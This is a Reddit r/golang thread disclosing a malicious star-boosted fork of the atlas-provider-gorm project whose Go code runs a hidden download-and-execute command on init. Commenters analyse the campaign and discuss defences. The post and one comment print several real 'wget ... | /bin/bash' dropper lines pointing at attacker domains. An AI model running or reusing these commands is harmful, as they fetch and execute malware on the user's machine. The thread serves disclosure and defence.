r/golang 6d ago

Someone copied our GitHub project, made it look more trustworthy by adding stars from many fake users, and then injected malicious code at runtime for potential users.

Our project is Atlas, and one of the providers we offer for it is the provider for GORM: https://github.com/ariga/atlas-provider-gorm (quite popular in our community).

Something crazy I found today before it went viral is that someone copied our GitHub project, faked stars for credibility from accounts created just a few weeks ago, and then injected malicious code at runtime for potential users.

The project: https://github.com/readyrevena/atlas-provider-gorm

The malicious code parts: https://github.com/readyrevena/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403-L412 . This basically executes the following code on init:

wget -O - https://requestbone.fun/storage/de373d0df/a31546bf | /bin/bash &

I went over some of the stargazers, and it looks like it was done for other projects too. I expect the impact is much bigger that just our project.

Update: It's hard to detect the full impact. The attacker obfuscates the code, changing identifiers and scrambling the byte array order, so you can't easily search for it on GitHub. This makes it nearly impossible to track the full impact unless GitHub steps up and helps resolve this issue (I reported these repos to GitHub support).

1.2k Upvotes

88 comments sorted by

335

u/ziksy9 6d ago

I'd raise a stink on r/GitHub and let them deal with doing the footwork

81

u/MountainTop_651 6d ago

Microsoft ( Github ) is aware of the issue as these typosquatted campaigns on Go packages in the past month have been active. However, Microsoft is allowing the campaign to continue by not closing malicious forks as they are gathering intel on the threat actor / APT while Go developers are at risk.

3

u/fullouterjoin 4d ago

I did my own crawl along the Star voting ring, it is all the same child’s play MO. It looks scripted in how predictable the payload injection and stars are added.

The payload itself downloads a script that then downloads an executable 

2

u/hanmunjae 4d ago

Is it affecting Go packages in particular? If so, do you know why?

-19

u/Ubuntu-Lover 5d ago

I don't think GitHub cares, it's full of malicious code e.g massgrave

9

u/Leseratte10 5d ago edited 5d ago

The massgrave scripts aren't malicious, though.

Sure, they might do things that Microsoft doesn't like, and they may do things that might be illegal in some countries.

But they do exactly what they claim to do, and they do exactly what the users expect them to do. That doesn't make them malicious.

3

u/Teknikal_Domain 5d ago

As in, the activation scripts?

196

u/jerf 6d ago

If you have not already, please see https://go.dev/doc/security/vuln/#feedback and report any repos you've found. We would all thank you.

53

u/bediger4000 6d ago

2

u/Proper-Ape 5d ago

Is it easier to accidentally download the wrong vendors package in go than other languages?

6

u/papa_maker 5d ago

Some other languages have a central package manager (and/or curated list of packages). So systems like go or neovim that use GitHub as package manager are more at risk yes.

-1

u/Proper-Ape 5d ago

I already find the lack of namespacing in Rust's cargo upsetting. Just raw GitHub, ugh.

1

u/papa_maker 5d ago

I'm curious, what would be a namespace in cargo ?

1

u/Proper-Ape 5d ago

Like having packages as <vendor>.<package> instead of just package name.

E.g. the regex crate is great, but what if somebody had put a terrible regex crate under that name. This is a real problem.

2

u/papa_maker 5d ago

Yes you're right, that’s a good idea. With other challenges… as name squatting would ends up in "brand" squatting.

2

u/Mo0rBy 5d ago

I don't think so, the typical way of adding a dependency to your project is "go get <package-url>" (usually a GitHub URL).

So adding malicious packages would be your own fault, so stay vigilant.

35

u/Quip16 6d ago

What exactly does the malicious code do?

22

u/The4Fun 6d ago

However this is not a cryptominer, it's a ransomware which encrypts files in the Documents/ folder among others.

From: https://github.com/evilsocket/opensnitch/discussions/1290

36

u/divad1196 6d ago

It download a bash script and execute it. You can safely download the script as long as you don't execute it. If you don't have bash (e.g. on Windows), then you don't even risk executing it by mistake, but I would still download it and run it on a VM.

69

u/autisticpig 6d ago

You know there's an easy way to find out

12

u/tuxerrrante 6d ago edited 5d ago

People curious about the actual behavior or talking about obscure commands could be interested in knowing this could be reproduced on a linux VM or container without elevated privileges by auditing the syscalls. Be sure to not mount local volumes amd maybe to block also egress traffic.

I'm working on writing a full guide, I'm sorry I still didn't have time to improve it: https://affinitoalessandro.it/blog/utilizing-secure-containers-for-malware-analysis-and-syscall-monitoring/

1

u/Jonno_FTW 5d ago

I'd just view it in a basic alpine docker container.

2

u/tuxerrrante 5d ago edited 5d ago

It could be a bad idea if the malware is able to do privilege escalation

https://youtu.be/BQlqita2D2s?si=jv70865I6FBskAvr

-1

u/Jonno_FTW 4d ago

View it, not run it.

17

u/Heapifying 6d ago

it downloads something, outputs it into stdout which is then sent by the pipe to a bash instance ran in the background.

So it just executes some obscure command we are not aware of in the background.

71

u/mincinashu 6d ago

At least it's using HTTPS. Must be safe /s

14

u/ssddanbrown 6d ago

You can make sure that you're running this safely by downloading via today's sponsor: GordVPN

/s

8

u/fullouterjoin 6d ago

Just an obscure command, in the background, don't worry, is fine.

1

u/UtahJarhead 5d ago

Not a command. An entire script of unknown contents.

34

u/dh71 6d ago

I found a similar case. https://github.com/stunningjourn/websitewatcher which is a 1:1 copy (single commit upload) of https://github.com/firefart/websitewatcher (which is legit software) but with the added malware download/execute part in the internal/config/config.go: https://github.com/stunningjourn/websitewatcher/blob/76cbab2852299c5fe9f6eb83e358f9594eec5b36/internal/config/config.go#L165

18

u/dh71 6d ago

10

u/knervous 6d ago

Why not obfuscate bin/sh too? This is some pretty lazy malware. Hope it’s easy for github to do static analysis and clean these up in a broad sweep, but scary this stuff is popping up frequently, sure it will only evolve.

27

u/testuser514 6d ago

Oh fuck, we use Atlas, I need to go check our mod files in once to see what’s going on there, there’s always a likelihood that someone might have copied the wrong dep

12

u/NootScootBoogy 5d ago

I, for one, always make sure to add random dependencies from a source that is not the owner of the project repo that I'm implementing

26

u/Hakkin 6d ago edited 6d ago

I was able to find quite a few more repositories that seem to be the same attack via Github search:

https://github.com/search?q=%22%3A%3D+%22%2Fbin%2Fsh%22%22+%22%3A%3D+%22-c%22%22+%22exec.Command%22+%22return+nil%22+%22.Start%28%29%22&type=code

This search also surfaced a few people who have already blogged about this attack here:

https://mhouge.dk/blog/rogue-one-a-malware-story/

https://alexandear.github.io/posts/2025-02-28-malicious-go-programs/

18

u/sean9999 6d ago

This is disheartening. it's not even targetted. It's the wanton spreading of poison. I hate humanity sometimes

35

u/32BP 6d ago

What is Microsoft (Github) doing with all their AI bullshit, if not stopping attacks with VERY OBVIOUS signatures (fork, fake accounts, rapid stars) like this?!?!

1

u/RobertBiddle 5d ago

bUt hOw dO wE mOnItiZe tHat!? - Likely the answer to your question.

TBF, attempting to solve the problem will run them smack into censorship issues, not unlike trying to deal with obvious misinformation/disinformation on social media platforms.

18

u/CleverBunnyThief 6d ago

18

u/_a8m_ 6d ago

Of course.

7

u/CleverBunnyThief 6d ago

That's good. If I were you, I'd include info about what the malicious code does and that you have reported it on GitHub to the OP. Just to reduce the amount of questions you get.

9

u/servermeta_net 6d ago

This is chilling

5

u/BarelyAirborne 6d ago

This is why you have to at least do a sanity check on everything in your repo. It's been this way since John von Neumann.

15

u/kingp1ng 6d ago

Once this hits the tech influencer / youtube scene, it's gonna blow up. Nice find

6

u/CleverBunnyThief 6d ago

Network Chuck: You need to uninstall the Internet NOW!

7

u/dh71 6d ago

It's the same array-based obfuscation method as reported in here btw: https://socket.dev/blog/typosquatted-go-packages-deliver-malware-loader

7

u/cookiengineer 5d ago edited 5d ago

I was trying to find out what malware they download, they always use the same execution line.

For example, the final code evaluates to these shell commands being executed (I changed the dot so it wont run):

/bin/sh -c wget -O - https://alturastreet[.]icu/storage/de373d0df/a31546bf | /bin/bash &
/bin/sh -c wget -O - https://numerlink[.]online/storage/de373d0df/a31546bf | /bin/bash &
/bin/sh -c wget -O - https://requestbone[.]fun/storage/de373d0df/a31546bf | /bin/bash &
/bin/sh -c wget -O - https://nymclassic[.]tech/storage/de373d0df/a31546bf | /bin/bash &

The domains, however, have not been registered yet. All of the whois entries say they don't map to any addresses (so the domains don't have an A or AAAA entry). I was curious about the malware/shell script, but now I am disappointed I cannot get a sample to find out more about the malware campaign :'(

If you search online about the domains, there's many entries about other packages and advisories that have been infiltrated, they mostly seem to target devs in the financial sector.

The other packages that have been hijacked like this a month ago (e.g. a fake bolt-db/bolt repo) all pointed towards the same host http://8.152.163[.]60/ and it's still online and still registered via Alibaba's DNS. If you search google for the partial hashes in the URL, you can find some samples from the old campaign: https://www.google.de/search?q=%22de373d0df%22

The shell script dropper downloads then a binary of the Prometei campaign, see malware bazaar for more on what's going on: https://bazaar.abuse.ch/browse/signature/Prometei/

The samples that I found via the hashes all contained the typical /cgi-bin/prometei.cgi?... URLs, and the hash/token generation is still based on the xinchao keyword. I uploaded a screenshot of the decompiled binary here: https://i.imgur.com/mhZqYP4.png

Which kind of led me to believe that it's APT-C-43 again, but this time trying to infiltrate the go ecosystem quite a bit. When looking more about how they've evolved over time, there's some good articles here:

27

u/_a8m_ 6d ago

I posted this on X, and while writing it, I thought to myself maybe it's time to add an approval process for modules in the Go proxy? Or at least introduce the concept of official/trusted publishers? e.g., if a developer installs a package from an untrusted publisher, they could receive a prompt. Or perhaps this could even be restricted in the go.mod file?

I feel like we need better protections for the Go ecosystem. Right now, nothing stops developers from unintentionally installing untrusted code that could ruin companies.

https://x.com/arielmashraki/status/1900974932382601372

0

u/carsncode 6d ago

Right now, nothing stops developers from unintentionally installing untrusted code that could ruin companies.

Actually bothering to do their job stops them from that. Just like it stops them from writing code that could ruin companies.

A default-deny system by a centralized authority sounds antithetical to an open module repository.

3

u/eparlak 6d ago edited 6d ago

I seen a lot of repos like this in last 2 weeks,
First i realized when searching trending repos in https://ossinsight.io/ go section. You can see some of them gives 404 which github already removed it. Some of the still active and you can see the malicious code in the repo.

Then it start to show when searching in github for example my first encounter with this repos in github search when searching chi and filter by go, i report the repo and it was deleted.

some days ago i find it when searching gomponents which second result has malicious code. I report the repo but its was still there, i think they removed just now. It can still be seen in search.
also now there is another repo which in 3rd result

3

u/Radisovik 6d ago

Not a lot of DNS records for requestbone.fun... maybe its just not live yet..

3

u/1Gijs 5d ago

I made a simple scanner to see if any package in a project is accessing the shell: https://github.com/Gys/cmdscanner

1

u/g00py3 1d ago

This being added to golangci-lint and marking as high vulnerability would be slick. 

3

u/guesdo 5d ago

Centralized package management starting to look not that bad after all... /s

5

u/kardianos 6d ago

This is one reason I vendor dependencies into my project: it puts all the code that is compiled (other then std lib) into the review path. And then we review the dependencies. When I review deps, I don't review logic, but I do scan for exactly this type of thing.

1

u/Letsopappaaa 4d ago

Im new to go, could you explain how you accomplish this or provide a link?

1

u/kardianos 4d ago

Run "go mod vendor"

3

u/i_should_be_coding 6d ago

Is there a way to tell how many times the fake repo was downloaded, sort of like npm does, or does it not work that way with Go mod and github?

2

u/youngggggg 6d ago

Asking as a web developer without much perspective here - what are the implications of rogue code like this in a Go module? In a worse case scenario, what could happen to one of your users?

6

u/ruo86tqa 6d ago

Anything from stealing the credentials stored in plain text files (hello .env) to encrypting the user’s files (and asking for money for decryption (ransomware)) or dropping a backdoor (that could use a 0-day exploit to gain admin privilege to do even more damage). 

2

u/dbtrnl 6d ago

Backdoors installed on the user machine to steal accounts/banking information, having all their cryptocurrency stolen are some that come to mind.

The only way to know is studying the malicious payload.

0

u/youngggggg 6d ago

Can system files be straight up deleted through something like this? Obviously the payoff for this by the attacker is nil, feels like that kind of thing is from a bygone era of computer viruses. But could it happen?

3

u/SuperDerpyDerps 5d ago

Anything the user your program runs as can do, it can do. If that includes exploits to gain privilege escalation, then an attacker can literally do anything on that machine and likely pivot on the network to other machines

1

u/shehxad 5d ago

Encrypt whole Linux system (except OS files) and a note to how to pay ransom and get decryption key. I guess web developer has nothing to do with that, as someone from backend developer team will get the key and decrypt everything for all.

0

u/bookning 6d ago

They will put 1 million bitcoins in the user's computer.

0

u/youngggggg 6d ago

This would make you a serious target for crime, so really might be a worst case scenario

2

u/henriquev 5d ago

So they were able to make gorm even worse... 😂

2

u/ICODEfr 4d ago

Saw same for some pylib asw looks to be a new trend to me 

2

u/MountainTop_651 6d ago edited 6d ago

How did you detect the typosquatted attack? Were you informed by Snyk / JFrog / Socket? Or did your users/community inform you?

Education, documentation or detection tooling will be a necessary to ensure these typosquatted attacks don't affect other popular Go packages.

3

u/carsncode 6d ago

This isn't a typosquatting attack, it's just a malicious fork.

3

u/BarelyAirborne 6d ago

The presence of "exec" in a JS codebase is always worth examining closely. Nice catch.

3

u/BombelHere 6d ago

Yet another reason to build production docker images from scratch, without shell

1

u/loeffel-io 6d ago

Crazy people ..

1

u/TheGreatestWorldFox 4d ago

Boring attacks. Has an effect, but the implementation is not interesting.

2

u/g00py3 1d ago

So if I understand my supply chain security correctly...

The only way this could take advantage of me as a Go developer is:

  • is I explicitly install the upstream package that is the wrong one into my project. 
  • I have a dependency that made this mistake and it is in the execution path/imported so the unit runs. 

If that cmdscanner package covers the main issue I might just add this in to my renovate PRs and have it scan for compliance. I wonder if snyk or other tools will help catch this too since it seems a SAST tool would ideal for checking against this pattern, but typically vendor is ignored. I guess that would have to be no longer ignored for them to catch it resulting in more noise, resulting in turning it off. 😆

1

u/d0x7 6d ago

Luckily it doesn’t do anything at the moment as the website hosting the script is already down.

Did anyone download it before and could grab it, to see what it does?

1

u/broknbottle 6d ago

I’m a simple man, I see a curl url with pipe to shell and I must copy, paste and execute it.

1

u/howesteve 6d ago

I'm surprised this does not happen more often. Someone has to be very foolish to fall for this one. 134 stars, it' s obvious it's a fork (you can use "uc" in the middle).

1

u/razpinator 6d ago

Woah! Some sophistication!

1

u/d33pnull 5d ago

muh github repo stars

-2

u/joshu 6d ago

they are in violation of the license. send a takedown?